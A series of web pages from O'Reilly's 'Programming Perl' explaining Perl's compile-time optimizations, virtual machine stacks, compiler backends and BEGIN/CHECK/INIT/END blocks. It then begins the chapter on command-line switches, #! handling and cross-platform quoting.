This pass is optional; it isn't used in the normal scheme of things. But if any of the three code generators--B::Bytecode, B::C, and B::CC--are invoked, the parse tree is accessed one final time. The code generators emit either serialized Perl bytecodes used to reconstruct the parse tree later or literal C code representing the state of the compile-time parse tree.

Generation of C code comes in two different flavors. B::C simply reconstructs the parse tree and runs it using the usual runops() loop that Perl itself uses during execution. B::CC produces a linearized and optimized C equivalent of the run-time code path (which resembles a giant jump table) and executes that instead.

During compilation, Perl optimizes your code in many, many ways. It rearranges code to make it more efficient at execution time. It deletes code that can never be reached during execution, like an if (0) block, or the elsifs and the else in an if (1) block. If you use lexically typed variables declared with my ClassName $var or our ClassName $var, and the ClassName package was set up with the use fields pragma, accesses to constant fields from the underlying pseudohash are typo-checked at compile time and converted into array accesses instead. If you supply the sort operator with a simple enough comparison routine, such as {$a <=> $b} or {$b cmp $a}, this is replaced by a call to compiled C code.

Perl's most dramatic optimization is probably the way it resolves constant expressions as soon as possible. For example, consider the parse tree shown in Figure 18-2. If nodes 1 and 2 had both been literals or constant functions, nodes 1 through 4 would have been replaced by the result of that computation, something like Figure 18-3.

Figure 18.3. Constant folding

This is called constant folding. Constant folding isn't limited to simple cases such as turning 2**10 into 1024 at compile time. It also resolves function calls--both built-ins and user-declared subroutines that meet the criteria from the section Section 18.4.1, "Inlining Constant Functions" in Chapter 6, "Subroutines". Reminiscent of FORTRAN compilers' notorious knowledge of their own intrinsic functions, Perl also knows which of its own built-ins to call during compilation. That's why if you try to take the log of 0.0 or the sqrt of a negative constant, you'll incur a compilation error, not a run-time error, and the interpreter is never run at all.[4]

[4] Actually, we're oversimplifying here. The interpreter does get run, because that's how the constant folder is implemented. But it is run immediately at compile time, similar to how BEGIN blocks are executed.

Even arbitrarily complicated expressions are resolved early, sometimes triggering the deletion of complete blocks such as the one here:

if (2 * sin(1)/cos(1) < 3 && somefn()) { whatever() }
No code is generated for what can never be evaluated. Because the first part is always false, neither somefn nor whatever can ever be called. (So don't expect to goto labels inside that block, because it won't even exist at run time.) If somefn were an inlinable constant function, then even switching the evaluation order like this:
if (somefn() && 2 * sin(1)/cos(1) < 3)) { whatever() }
wouldn't change the outcome, since the entire expression still resolves at compile time. If whatever were inlinable, it wouldn't be called at run time, nor even during compilation; its value would just be inserted as though it were a literal constant. You would then incur a warning about a "Useless use of a constant in void context". This might surprise you if you didn't realize it was a constant. However, if whatever were the last statement evaluated in a function called in a nonvoid context (as determined by the optimizer), you wouldn't see the warning.

You can see the final result of the constructed parse tree after all optimization stages with perl -Dx. (The -D switch requires a special, debugging-enabled build of Perl). Also see the section on B::Deparse described below.

All in all, the Perl compiler works hard (but not too hard) to optimize code so that, come run time, overall execution is sped up. It's about time to get your program running, so let's do that now.

Previous | Home | Next
18.1. The Life Cycle of a Perl Program | Book Index | 18.3. Executing Your Code
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Executing Your Code (Programming Perl)

 Programming PerlSearch this book

18.3. Executing Your Code

To the first approximation, Sparc programs only run on Sparc machines, Intel programs only run on Intel machines, and Perl programs only run on Perl machines. A Perl machine possesses those attributes that a Perl program would find ideal in a computer: memory that is automatically allocated and deallocated, fundamental data types that are dynamic strings, arrays, and hashes, and have no size limits, and systems that all behave pretty much the same way. The job of the Perl interpreter is to make whatever computer it happens to be running on appear to be one of these idealistic Perl machines.

This fictitious machine presents the illusion of a computer specially designed to do nothing but run Perl programs. Each opcode produced by the compiler is a fundamental command in this emulated instruction set. Instead of a hardware program counter, the interpreter just keeps track of the current opcode to execute. Instead of a hardware stack pointer, the interpreter has its own virtual stack. This stack is very important because the Perl virtual machine (which we refuse to call a PVM) is a stack-based machine. Perl opcodes are internally called PP codes (short for "push-pop codes") because they manipulate the interpreter's virtual stack to find all operands, process temporary values, and store all results.

If you've ever programmed in Forth or PostScript, or used an HP scientific calculator with RPN ("Reverse Polish Notation") entry, you know how a stack machine works. Even if you haven't, the concept is simple: to add 3 and 4, you do things in the order 3 4 + instead of the more conventional 3 + 4. What this means in terms of the stack is that you push 3 and then 4 onto the stack, and + then pops both arguments off the stack, adds them, and pushes 7 back onto the stack, where it will sit until you do something else with it.

Compared with the Perl compiler, the Perl interpreter is a straightforward, almost boring, program. All it does is step through the compiled opcodes, one at a time, and dispatch them to the Perl run-time environment, that is, the Perl virtual machine. It's just a wad of C code, right?

Actually, it's not boring at all. A Perl virtual machine keeps track of a great deal of dynamic context on your behalf so that you don't have to. Perl maintains quite a few stacks, which you don't have to understand, but which we'll list here anyway just to impress you:

operand stack

That's the stack we already talked about.

save stack

Where localized values are saved pending restoration. Many internal routines also localize values without your knowing it.

scope stack

The lightweight dynamic context that controls when the save stack should be "popped".

context stack

The heavyweight dynamic context; who called whom to get where you are now. The caller function traverses this stack. Loop-control functions scan this stack to find out which loop to control. When you peel back the context stack, the scope stack gets peeled back appropriately, which restores all your local variables from the save stack, even if you left the earlier context by nefarious methods such as raising an exception and longjmp(3)ing out.

jumpenv stack

The stack of longjmp(3) contexts that allows us to raise exceptions or exit expeditiously.

return stack

Where we came from when we entered this subroutine.

mark stack

Where the current variadic argument list on the operand stack starts.

recursive lexical pad stacks

Where the lexical variables and other "scratch register" storage is kept when subroutines are called recursively.

And of course, there's the C stack on which all the C variables are stored. Perl actually tries to avoid relying on C's stack for the storage of saved values, since longjmp(3) bypasses the proper restoration of such values.

All this is to say that the usual view of an interpreter, a program that interprets another program, is really woefully inadequate to describe what's going on here. Yes, there's some C code implementing some opcodes, but when we say "interpreter", we mean something more than that, in the same way that when we say "musician", we mean something more than a set of DNA instructions for turning notes into sounds. Musicians are real, live organisms and have "state". So do interpreters.

Specifically, all this dynamic and lexical context, along with the global symbol tables, plus the parse trees, plus a thread of execution, is what we call an interpreter. As a context for execution, an interpreter really starts its existence even before the compiler starts, and can run in rudimentary form even as the compiler is building up the interpreter's context. In fact, that's precisely what's happening when the compiler calls into the interpreter to execute BEGIN blocks and such. And the interpreter can turn around and use the compiler to build itself up further. Every time you define another subroutine or load another module, the particular virtual Perl machine we call an interpreter is redefining itself. You can't really say that either the compiler or the interpreter is in control, because they're cooperating to control the bootstrap process we commonly call "running a Perl script". It's like bootstrapping a child's brain. Is it the DNA doing it or is it the neurons? A little of both, we think, with some input from external programmers.

It's possible to run multiple interpreters in the same process; they may or may not share parse trees, depending on whether they were started by cloning an existing interpreter or by building a new interpreter from scratch. It's also possible to run multiple threads in a single interpreter, in which case they share not only parse trees but also global symbols--see Chapter 17, "Threads".

But most Perl programs use only a single Perl interpreter to execute their compiled code. And while you can run multiple, independent Perl interpreters within one process, the current API for this is only accessible from C.[5] Each individual Perl interpreter serves the role of a completely separate process, but doesn't cost as much to create as a whole new process does. That's how Apache's mod_perl extension gets such great performance: when you launch a CGI script under mod_perl, that script has already been compiled into Perl opcodes, eliminating the need for recompilation--but more importantly, eliminating the need to start a new process, which is the real bottleneck. Apache initializes a new Perl interpreter in an existing process and hands that interpreter the previously compiled code to execute. Of course, there's much more to it than that--there always is. For more about mod_perl, see Writing Apache Modules with Perl and C (O'Reilly, 1999).

[5] With one exception, so far: revision 5.6.0 of Perl can do cloned interpreters in support of fork emulation on Microsoft Windows. There may well be a Perl API to "ithreads", as they're called, by the time you read this.

Many other applications such as nvi, vim, and innd can embed Perl interpreters; we can't hope to list them all here. There are a number of commercial products that don't even advertise that they have embedded Perl engines. They just use it internally because it gets their job done in style.

Previous | Home | Next
18.2. Compiling Your Code | Book Index | 18.4. Compiler Backends
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Compiler Backends (Programming Perl)

 Book Home Programming PerlSearch this book

18.4. Compiler Backends

So, if Apache can compile a Perl program now and execute it later, why can't you? Apache and other programs that contain embedded Perl interpreters have it easy--they never store the parse tree to an external file. If you're content with that approach, and don't mind using the C API to get at it, you can do the same thing. See the section Section 18.4, "Embedding Perl (Using Perl from C)" in Chapter 21, "Internals and Externals", to learn how to access Perl from an enclosing C framework.

If you don't want to go that route, or have other needs, then there are a few options available. Instead of feeding the opcode output from the Perl compiler immediately into a Perl interpreter, you can invoke any of several alternative backends instead. These backends can serialize and store the compiled opcodes to an external file or even convert them into a couple different flavors of C code.

Please be aware that the code generators are all extremely experimental utilities that shouldn't be expected to work in a production environment. In fact, they shouldn't even be expected to work in a nonproduction environment except maybe once in a blue moon. Now that we've set your expectations low enough that any success at all will necessarily surpass them, it's safe to tell you how the backends work.

Some of the backend modules are code generators, like
B::Bytecode, B::C, and
B::CC.  Others are really code-analysis and
debugging tools, like B::Deparse,
B::Lint, and B::Xref.  Beyond
those backends, the standard release includes several other low-level
modules of potential interest to would-be authors of Perl
code-development tools.  Other backend modules can be found on CPAN,
including (as of this writing) B::Fathom,
B::Graph, B::JVM::Jasmin, and
B::Size.

When you're using the Perl compiler for anything other than feeding the interpreter, the O module (that is, using the O.pm file) stands between the compiler and assorted backend modules. You don't call the backends directly; instead, you call the middle end, which in turn calls the designated backend. So, if you had a module called B::Backend, you would invoke it on a given script this way:

% perl -MO=Backend SCRIPTNAME
Some backends take options, specified as:
% perl -MO=Backend,OPTS SCRIPTNAME
Some backends already have their own frontends to invoke their middle ends for you so you don't have to remember their M.O. In particular, perlcc(1) invokes that code generator, which can be cumbersome to fire up.

Previous | Home | Next
18.3. Executing Your Code | Book Index | 18.5. Code Generators
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Code Generators (Programming Perl)

 Book Home Programming PerlSearch this book

18.5. Code Generators

The three current backends that convert Perl opcodes into some other format are all emphatically experimental. (Yes, we said this before, but we don't want you to forget.) Even when they happen to produce output that runs correctly, the resulting programs may take more disk space, more memory, and more CPU time than than they would ordinarily. This is an area of ongoing research and development. Things will get better.

18.5.1. The Bytecode Generator

The B::Bytecode module writes the parse tree's opcodes out in a platform-independent encoding. You can take a Perl script compiled down to bytecodes and copy that to any other machine with Perl installed on it.

The standard but currently experimental perlcc(1) command knows how to convert Perl source code into a byte-compiled Perl program. All you have to do is:

% perlcc -b -o pbyscript srcscript
And now you should be able to directly "execute" the resulting pbyscript. The start of that file looks somewhat like this:
#!/usr/bin/perl
use ByteLoader 0.03;
^C^@^E^A^C^@^@^@^A^F^@^C^@^@^@^B^F^@^C^@^@^@^C^F^@^C^@^@^@
B^@^@^@^H9^A8M-^?M-^?M-^?M-^?7M-^?M-^?M-^?M-^?6^@^@^@^A6^@
^G^D^D^@^@^@^KR^@^@^@^HS^@^@^@^HV^@M-2W<^FU^@^@^@^@X^Y@Z^@
...
There you find a small script header followed by purely binary data. This may seem like deep magic, but its dweomer, er, dwimmer is at most a minor one. The ByteLoader module uses a technique called a source filter to alter the source code before Perl gets a chance to see it. A source filter is a kind of preprocessor that applies to everything below it in the current file. Instead of being limited to simplistic transformations the way macro processors like cpp(1) and m4(1) are, here there are no constraints. Source filters have been used to augment Perl's syntax, to compress or encrypt source code, even to write Perl programs in Latin. E perlibus unicode; cogito, ergo substr; carp dbm, et al. Er, caveat scriptor.

The ByteLoader module is a source filter that knows how to disassemble the serialized opcodes produced by B::Bytecode to reconstruct the original parse tree. The reconstituted Perl code is spliced into the current parse tree without using the compiler. When the interpreter hits those opcodes, it just executes them as though they'd been there waiting for it all along.

18.5.2. The C Code Generators

The remaining code generators, B::C and B::CC, both produce C code instead of serialized Perl opcodes. The code they generate is far from readable, and if you try to read it you'll just go blind. It's not something you can use to plug little translated Perl-to-C bits into a larger C program. For that, see Chapter 21, "Internals and Externals".

The B::C module just writes out the C data structures needed to recreate the entire Perl run-time environment. You get a dedicated interpreter with all the compiler-built data structures pre-initialized. In some senses, the code generated is like what B::Bytecode produces. Both are a straight translation of the opcode trees that the compiler built, but where B::Bytecode lays them out in symbolic form to be recreated later and plugged into a running Perl interpreter, B::C lays those opcodes down in C. When you compile this C code with your C compiler and link in the Perl library, the resulting program won't need a Perl interpreter installed on the target system. (It might need some shared libraries, though, if you didn't link everything statically.) However, this program isn't really any different than the regular Perl interpreter that runs your script. It's just precompiled into a standalone executable image.

The B::CC module, however, tries to do more than that. The beginning of the C source file it generates looks pretty much like what B::C produced,[6] but eventually, any similarity ends. In the B::C code, you have a big opcode table in C that's manipulated just as the interpreter would do on its own, whereas in the C code generated by B::CC is laid out in the order corresponding to the run-time flow of your program. It even has a C function corresponding to each function in your program. Some amount of optimization based on variable types is done; a few benchmarks can run twice as fast as in the standard interpreter. This is the most ambitious of the current code generators, the one that holds the greatest promise for the future. By no coincidence, it is also the least stable of the three.

[6]But then, so does everything once you've gone blind. Didn't we warn you not to peek?

Computer science students looking for graduate thesis projects need look no further. There are plenty of diamonds in the rough waiting to be polished off here.

Previous | Home | Next
18.4. Compiler Backends | Book Index | 18.6. Code Development Tools
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Code Development Tools (Programming Perl)

 Book Home Programming PerlSearch this book

18.6. Code Development Tools

The O module has many interesting Modi Operandi beyond feeding the exasperatingly experimental code generators. By providing relatively painless access to the Perl compiler's output, this module makes it easy to build other tools that need to know everything about a Perl program.

The B::Lint module is named after lint(1), the C program verifier. It inspects programs for questionable constructs that often trip up beginners but don't normally trigger warnings. Call the module directly:

% perl -MO=Lint,all myprog
Only a few checks are currently defined, such as using an array in an implicit scalar context, relying on default variables, and accessing another package's (nominally private) identifiers that start with _. See B::Lint(3) for details.

The B::Xref module generates cross-reference listings of the declaration and use of all variables (both global and lexically scoped), subroutines, and formats in a program, broken down by file and subroutine. Call the module this way:

% perl -MO=Xref myprog > myprof.pxref
For instance, here's a partial report:
Subroutine parse_argv
  Package (lexical)
    $on               i113, 114
    $opt              i113, 114
    %getopt_cfg       i107, 113
    @cfg_args         i112, 114, 116, 116
  Package Getopt::Long
    $ignorecase       101
    &GetOptions       &124
  Package main
    $Options          123, 124, 141, 150, 165, 169
    %$Options         141, 150, 165, 169
    &check_read       &167
    @ARGV             121, 157, 157, 162, 166, 166
This shows that the parse_argv subroutine had four lexical variables of its own; it also accessed global identifiers from both the main package and from Getopt::Long. The numbers are the lines where that item was used: a leading i indicates that the item was first introduced at the following line number, and a leading & means a subroutine was called there. Dereferences are listed separately, which is why both $Options and %$Options are shown.

The B::Deparse is a pretty printer that can demystify Perl code and help you understand what transformations the optimizer has taken with your code. For example, this shows what defaults Perl uses for various constructs:

% perl -MO=Deparse -ne 'for (1 .. 10) { print if -t }'
LINE: while (defined($_ = <ARGV>)) {
    foreach $_ (1 .. 10) {
        print $_ if -t STDIN;
    }
}
The -p switch adds parentheses so you can see Perl's idea of precedence:
% perl -MO=Deparse,-p -e 'print $a ** 3 + sqrt(2) / 10 ** -2 ** $c'
print((($a ** 3) + (1.4142135623731 / (10 ** (-(2 ** $c))))));
You can use -q to see what primitives interpolated strings are compiled into:
% perl -MO=Deparse,-q -e '"A $name and some @ARGV\n"'
'A ' . $name . ' and some ' . join($", @ARGV) . "\n";
And this shows how Perl really compiles a three-part for loop into a while loop:
% perl -MO=Deparse -e 'for ($i=0;$i<10;$i++) { $x++ }'
$i = 0;
while ($i < 10) {
    ++$x;
}
continue {
    ++$i
}
You could even call B::Deparse on a Perl bytecode file produced by perlcc -b, and have it decompile that binary file for you. Serialized Perl opcodes may be a tad tough to read, but strong encryption they are not.

Previous | Home | Next
18.5. Code Generators | Book Index | 18.7. Avant-Garde Compiler, Retro Interpreter
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Avant-Garde Compiler, Retro Interpreter (Programming Perl)

 Book Home Programming PerlSearch this book

18.7. Avant-Garde Compiler, Retro Interpreter

There's a right time to think about everything; sometimes that time is beforehand, and sometimes it's after. Sometimes it's somewhere in the middle. Perl doesn't presume to know when it's the right time to think, so it gives the programmer a number of options for telling it when to think. Other times it knows that some sort of thinking is necessary but doesn't have any idea what it ought to think, so it needs ways of asking your program. Your program answers these kinds of questions by defining subroutines with names appropriate to what Perl is trying to find out.

Not only can the compiler call into the interpreter when it wants to be forward thinking, but the interpreter can also call back to the compiler when it wants to revise history. Your program can use several operators to call back into the compiler. Like the compiler, the interpreter can also call into named subroutines when it wants to find things out. Because of all this give and take between the compiler, the interpreter, and your program, you need to be aware of what things happen when. First we'll talk about when these named subroutines are triggered.

In Chapter 10, "Packages", we saw how a package's AUTOLOAD subroutine is triggered when an undefined function in that package is called. In Chapter 12, "Objects", we met the DESTROY method which is invoked when an object's memory is about to be automatically reclaimed by Perl. And in Chapter 14, "Tied Variables", we encountered the many functions implicitly called when a tied variable is accessed.

These subroutines all follow the convention that, if a subroutine is triggered automatically by either the compiler or the interpreter, we write its name in uppercase. Associated with the different stages of your program's lifetime are four other such subroutines, named BEGIN, CHECK, INIT, and END. The sub keyword is optional before their declarations. Perhaps they are better called "blocks", because they're in some ways more like named blocks than real subroutines.

For instance, unlike regular subroutines, there's no harm in declaring these blocks multiple times, since Perl keeps track of when to call them, so you never have to call them by name. (They are also unlike regular subroutines in that shift and pop act as though you were in the main program, and so they act on @ARGV by default, not @_.)

These four block types run in this order:

BEGIN

Runs ASAP (as soon as parsed) whenever encountered during compilation, before compiling the rest of the file.

CHECK

Runs when compilation is complete, but before the program starts. (CHECK can mean "checkpoint" or "double-check" or even just "stop".)

INIT

Runs at the beginning of execution right before the main flow of your program starts.

END

Runs at the end of execution right after the program finishes.

If you declare more than one of these by the same name, even in separate modules, the BEGINs all run before any CHECKs, which all run before any INITs, which all run before any ENDs--which all run dead last, after your main program has finished. Multiple BEGINs and INITs run in declaration order (FIFO), and the CHECKs and ENDs run in inverse declaration order (LIFO).

This is probably easiest to see in a demo:

#!/usr/bin/perl -l
print       "start main running here";
die         "main now dying here\n";
die         "XXX: not reached\n";
END         { print "1st END: done running"   }
CHECK       { print "1st CHECK: done compiling" }
INIT        { print "1st INIT: started running"  }
END         { print "2nd END: done running"   }
BEGIN       { print "1st BEGIN: still compiling" }
INIT        { print "2nd INIT: started running"  }
BEGIN       { print "2nd BEGIN: still compiling" }
CHECK       { print "2nd CHECK: done compiling" }
END         { print "3rd END: done running"   }
When run, that demo program produces this output:
1st BEGIN: still compiling
2nd BEGIN: still compiling
2nd CHECK: done compiling
1st CHECK: done compiling
1st INIT: started running
2nd INIT: started running
start main running here
main now dying here
3rd END: done running
2nd END: done running
1st END: done running
Because a BEGIN block executes immediately, it can pull in subroutine declarations, definitions, and importations before the rest of the file is even compiled. These can alter how the compiler parses the rest of the current file, particularly if you import subroutine definitions. At the very least, declaring a subroutine lets it be used as a list operator, making parentheses optional. If the imported subroutine is declared with a prototype, calls to it can be parsed like built-ins and can even override built-ins of the same name in order to give them different semantics. The use declaration is just a BEGIN block with an attitude.

END blocks, by contrast, are executed as late as possible: when your program exits the Perl interpreter, even if as a result of an untrapped die or other fatal exception. There are two situations in which an END block (or a DESTROY method) is skipped. It isn't run if, instead of exiting, the current process just morphs itself from one program to another via exec. A process blown out of the water by an uncaught signal also skips its END routines. (See the use sigtrap pragma described in Chapter 31, "Pragmatic Modules", for an easy way to convert catchable signals into exceptions. For general information on signal handling, see "Signals" in Chapter 16, "Interprocess Communication".) To avoid all END processing, you can call POSIX::_exit, say kill -9, $$, or just exec any innocuous program, such as /bin/true on Unix systems.

Inside an END block, $? contains the status the program is going to exit with. You can modify $? from within the END block to change the exit value of the program. Beware of changing $? accidentally by running another program with system or backticks.

If you have several END blocks within a file, they execute in reverse order of their definition. That is, the last END block defined is the first one executed when your program finishes. This reversal enables related BEGIN and END blocks to nest the way you'd expect, if you pair them up. For example, if the main program and a module it loads both have their own paired BEGIN and END subroutines, like so:

BEGIN { print "main begun" }
END { print "main ended" }
use Module;
and in that module, these declarations:
BEGIN { print "module begun" }
END { print "module ended" }
then the main program knows that its BEGIN will always happen first, and its END will always happen last. (Yes, BEGIN is really a compile-time block, but similar arguments apply to paired INIT and END blocks at run time.) This principle is recursively true for any file that includes another when both have declarations like these. This nesting property makes these blocks work well as package constructors and destructors. Each module can have its own set-up and tear-down functions that Perl will call automatically. This way the programmer doesn't have to remember that if a particular library is used, what special initialization or clean-up code ought to be invoked, and when. The module's declarations assure these events.

If you think of an eval STRING as a call back from the interpreter to the compiler, then you might think of a BEGIN as a call forward from the compiler into the interpreter. Both temporarily put the current activity on hold and switch modes of operation. When we say that a BEGIN block is executed as early as possible, we mean it's executed just as soon as it is completely defined, even before the rest of the containing file is parsed. BEGIN blocks are therefore executed during compile time, never during run time. Once a BEGIN block has run, it is immediately undefined and any code it used is returned to Perl's memory pool. You couldn't call a BEGIN block as a subroutine even if you tried, because by the time it's there, it's already gone.

Similar to BEGIN blocks, INIT blocks are run just before the Perl run time begins execution, in "first in, first out" (FIFO) order. For example, the code generators documented in perlcc make use of INIT blocks to initialize and resolve pointers to XSUBs. INIT blocks are really just like BEGIN blocks, except they let the programmer distinguish construction that must happen at compile phase from construction that must happen at run phase. When you're running a script directly, that's not terribly important because the compiler gets invoked every time anyway; but when compilation is separate from execution, the distinction can be crucial. The compiler may only be invoked once, and the resulting executable may be invoked many times.

Similar to END blocks, CHECK blocks are run just after the Perl compile phase ends but before run phase begins, in LIFO order. CHECK blocks are useful for "winding down" the compiler just as END blocks are useful for winding down your program. In particular, the backends all use CHECK blocks as the hook from which to invoke their respective code generators. All they need to do is put a CHECK block into their own module, and it will run at the right time, so you don't have to install a CHECK into your program. For this reason, you'll rarely write a CHECK block yourself, unless you're writing such a module.

Putting it all together, Table 18-1 lists various constructs with details on when they compile and when they run the code represented by "...".

Table 18.1. What Happens When

Block | Compiles | Traps | Runs | Traps | Call
or | During | Compile | During | Run | Trigger
Expression | Phase | Errors | Phase | Errors | Policy
use ... | C | No | C | No | Now
no ... | C | No | C | No | Now
BEGIN {...} | C | No | C | No | Now
CHECK {...} | C | No | C | No | Late
INIT {...} | C | No | R | No | Early
END {...} | C | No | R | No | Late
eval {...} | C | No | R | Yes | Inline
eval "..." | R | Yes | R | Yes | Inline
foo(...) | C | No | R | No | Inline
sub foo {...} | C | No | R | No | Call anytime
eval "sub {...}" | R | Yes | R | No | Call later
s/pat/.../e | C | No | R | No | Inline
s/pat/"..."/ee | R | Yes | R | Yes | Inline

Now that you know the score, we hope you'll be able to compose and perform your Perl pieces with greater confidence.

Previous | Home | Next
18.6. Code Development Tools | Book Index | 19. The Command-Line Interface
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Command-Line Interface (Programming Perl)

 Book Home Programming PerlSearch this book

Chapter 19. The Command-Line Interface

Contents:

Command Processing
Environment Variables

This chapter is about aiming Perl in the right direction before you fire it off. There are various ways to aim Perl, but the two primary ways are through switches on the command line and through environment variables. Switches are the more immediate and precise way to aim a particular command. Environment variables are more often used to set general policy.

19.1. Command Processing

It is fortunate that Perl grew up in the Unix world, because that means its invocation syntax works pretty well under the command interpreters of other operating systems, too. Most command interpreters know how to deal with a list of words as arguments and don't care if an argument starts with a minus sign. There are, of course, some sticky spots where you'll get fouled up if you move from one system to another. You can't use single quotes under MS-DOS as you do under Unix, for instance. And on systems like VMS, some wrapper code has to jump through hoops to emulate Unix I/O redirection. Wildcard interpretation is a wildcard. Once you get past those issues, however, Perl treats its switches and arguments much the same on any operating system.

Even when you don't have a command interpreter per se, it's easy to execute a Perl program from another program written in any language. Not only can the calling program pass arguments in the ordinary way, it can also pass information via environment variables and, if your operating system supports them, inherited file descriptors (see "Passing Filehandles" in Chapter 16, "Interprocess Communication". Even exotic argument-passing mechanisms can easily be encapsulated in a module, then brought into your Perl program via a simple use directive.

Perl parses command-line switches in the standard fashion.[1] That is, it expects any switches (words beginning with a minus) to come first on the command line. After that usually comes the name of the script, followed by any additional arguments to be passed into the script. Some of these additional arguments may themselves look like switches, but if so, they must be processed by the script, because Perl quits parsing switches as soon as it sees a nonswitch, or the special "--" switch that says, "I am the last switch."

[1] Presuming you agree that Unix is both standard and fashionable.

Perl gives you some flexibility in where you place the source code for your program. For small, quick-and-dirty jobs, you can program Perl entirely from the command line. For larger, more permanent jobs, you can supply a Perl script as a separate file. Perl looks for a script to compile and run in any one of these three ways:

  1. Specified line by line via -e switches on the command line. For example:

    % perl -e "print 'Hello, World.'"
Hello, World.

  2. Contained in the file specified by the first filename on the command line. Systems supporting the #! notation on the first line of an executable script invoke interpreters this way on your behalf.

  3. Passed in implicitly via standard input. This method works only when there are no filename arguments; to pass arguments to a standard-input script you must use method 2, explicitly specifying a "-" for the script name. For example:

    % echo "print qq(Hello, @ARGV.)" | perl - World
Hello, World.

With methods 2 and 3, Perl starts parsing the input file from the beginning--unless you've specified a -x switch, in which case it scans for the first line starting with #! and containing the word "perl", and starts there instead. This is useful for running a script embedded in a larger message. If so, you might indicate the end of the script using the __END__ token.

Whether or not you use -x, the #! line is always examined for switches when the line is parsed. That way, if you're on a platform that allows only one argument with the #! line, or worse, doesn't even recognize the #! line as special, you can still get consistent switch behavior regardless of how Perl was invoked, even if -x was used to find the beginning of the script.

Warning: because older versions of Unix silently chop off kernel interpretation of the #! line after 32 characters, some switches may end up getting to your program intact, and others not; you could even get a "-" without its letter, if you're not careful. You probably want to make sure that all your switches fall either before or after that 32-character boundary. Most switches don't care whether they're processed redundantly, but getting a "-" instead of a complete switch would cause Perl to try to read its source code from the standard input instead of from your script. And a partial -I switch could also cause odd results. However, some switches do care if they are processed twice, like combinations of -l and -0. Either put all the switches after the 32-character boundary (if applicable), or replace the use of -0 DIGITS with BEGIN{ $/ = "\0 DIGITS"; }. Of course, if you're not on a Unix system, you're guaranteed not to have this particular problem.

Parsing of #! switches starts from where "perl" is first mentioned in the line. The sequences "-*" and "- " are specifically ignored for the benefit of emacs users, so that, if you're so inclined, you can say:

#!/bin/sh -- # -*- perl -*- -p
eval 'exec perl -S $0 ${1+"$@"}'
    if 0;

and Perl will see only the -p switch. The fancy "-*- perl -*-" gizmo tells emacs to start up in Perl mode; you don't need it if you don't use emacs. The -S mess is explained later under the description of that switch.

A similar trick involves the env(1) program, if you have it:

#!/usr/bin/env perl
The previous examples use a relative path to the Perl interpreter, getting whatever version is first in the user's path. If you want a specific version of Perl, say, perl5.6.1, place it directly in the #! line's path, whether with the env program, with the -S mess, or with a regular #! processing.

If the #! line does not contain the word "perl", the program named after the #! is executed instead of the Perl interpreter. For example, suppose you have an ordinary Bourne shell script out there that says:

#!/bin/sh
echo "I am a shell script"

If you feed that file to Perl, then Perl will run /bin/sh for you. This is slightly bizarre, but it helps people on machines that don't recognize #!, because--by setting their SHELL environment variable--they can tell a program (such as a mailer) that their shell is /usr/bin/perl, and Perl will then dispatch the program to the correct interpreter for them, even though their kernel is too stupid to do so.

But back to Perl scripts that are really Perl scripts. After locating your script, Perl compiles the entire program into an internal form (see Chapter 18, "Compiling"). If any compilation errors arise, execution does not even begin. (This is unlike the typical shell script or command file, which might run part-way through before finding a syntax error.) If the script is syntactically correct, it is executed. If the script runs off the end without hitting an exit or die operator, an implicit exit(0) is supplied by Perl to indicate successful completion to your caller. (This is unlike the typical C program, where you're likely to get a random exit status if your program just terminates in the normal way.)

19.1.1. #! and Quoting on Non-Unix Systems

Unix's #! technique can be simulated on other systems:

Macintosh

A Perl program on a Macintosh will have the appropriate Creator and Type, so that double-clicking them will invoke the Perl application.

MS-DOS

Create a batch file to run your program, and codify it in ALTERNATIVE_SHEBANG. See the dosish.h file in the top level of the Perl source distribution for more information about this.

OS/2

Put this line:

extproc perl -S -your_switches
as the first line in *.cmd file (-S works around a bug in cmd.exe's "extproc" handling).

VMS

Put these lines:

% perl -mysw 'f$env("procedure")' 'p1' 'p2' 'p3' 'p4' 'p5' 'p6' 'p7' 'p8' !
$ exit++ + ++$status != 0 and $exit = $status = undef;
at the top of your program, where -mysw are any command-line switches you want to pass to Perl. You can now invoke the program directly by typing perl program, as a DCL procedure by saying @program, or implicitly via DCL$PATH by using just the name of the program. This incantation is a bit much to remember, but Perl will display it for you if you type in perl "-V:startperl". If you can't remember that--well, that's why you bought this book.

Win??

When using the ActiveState distribution of Perl under some variant of Microsoft's Windows suite of operating systems (that is, Win95, Win98, Win00,[2] WinNT, but not Win3.1), the installation procedure for Perl modifies the Windows Registry to associate the .pl extension with the Perl interpreter.

[2]Er, pardon the technical difficulties...

If you install another port of Perl, including the one in the Win32 directory of the Perl distribution, then you'll have to modify the Windows Registry yourself.

Note that using a .pl extension means you can no longer tell the difference between an executable Perl program and a "perl library" file. You could use .plx for a Perl program instead to avoid this. This is much less of an issue these days, since most Perl modules are now in .pm files.

Command interpreters on non-Unix systems often have extraordinarily different ideas about quoting than Unix shells have. You'll need to learn the special characters in your command interpreter (*, \, and " are common) and how to protect whitespace and these special characters to run one-liners via the -e switch. You might also have to change a single % to a %%, or otherwise escape it, if that's a special character for your shell.

On some systems, you may have to change single quotes to double quotes. But don't do that on Unix or Plan9 systems, or anything running a Unix-style shell, such as systems from the MKS Toolkit or from the Cygwin package produced by the Cygnus folks, now at Redhat. Microsoft's new Unix emulator called Interix is also starting to look, ahem, interixing.

For example, on Unix and Mac OS X, use:

% perl -e 'print "Hello world\n"'

On Macintosh (pre Mac OS X), use:

print "Hello world\n"

then run "Myscript" or Shift-Command-R.

On VMS, use:

$ perl -e "print ""Hello world\n"""

or again with qq//:

$ perl -e "print qq(Hello world\n)"

And on MS-DOS et al., use:

A:> perl -e "print \"Hello world\n\""

or use qq// to pick your own quotes:

A:> perl -e "print qq(Hello world\n)"

The problem is that neither of those is reliable: it depends on the command interpreter you're using there. If 4DOS were the command shell, this would probably work better:

perl -e "print <Ctrl-x>"Hello world\n<Ctrl-x>""
The CMD.EXE program seen on Windows NT seems to have slipped a lot of standard Unix shell functionality in when nobody was looking, but just try to find documentation for its quoting rules.

On the Macintosh,[3] all this depends on which environment you are using. The MacPerl shell, or MPW, is much like Unix shells in its support for several quoting variants, except that it makes free use of the Macintosh's non-ASCII characters as control characters.

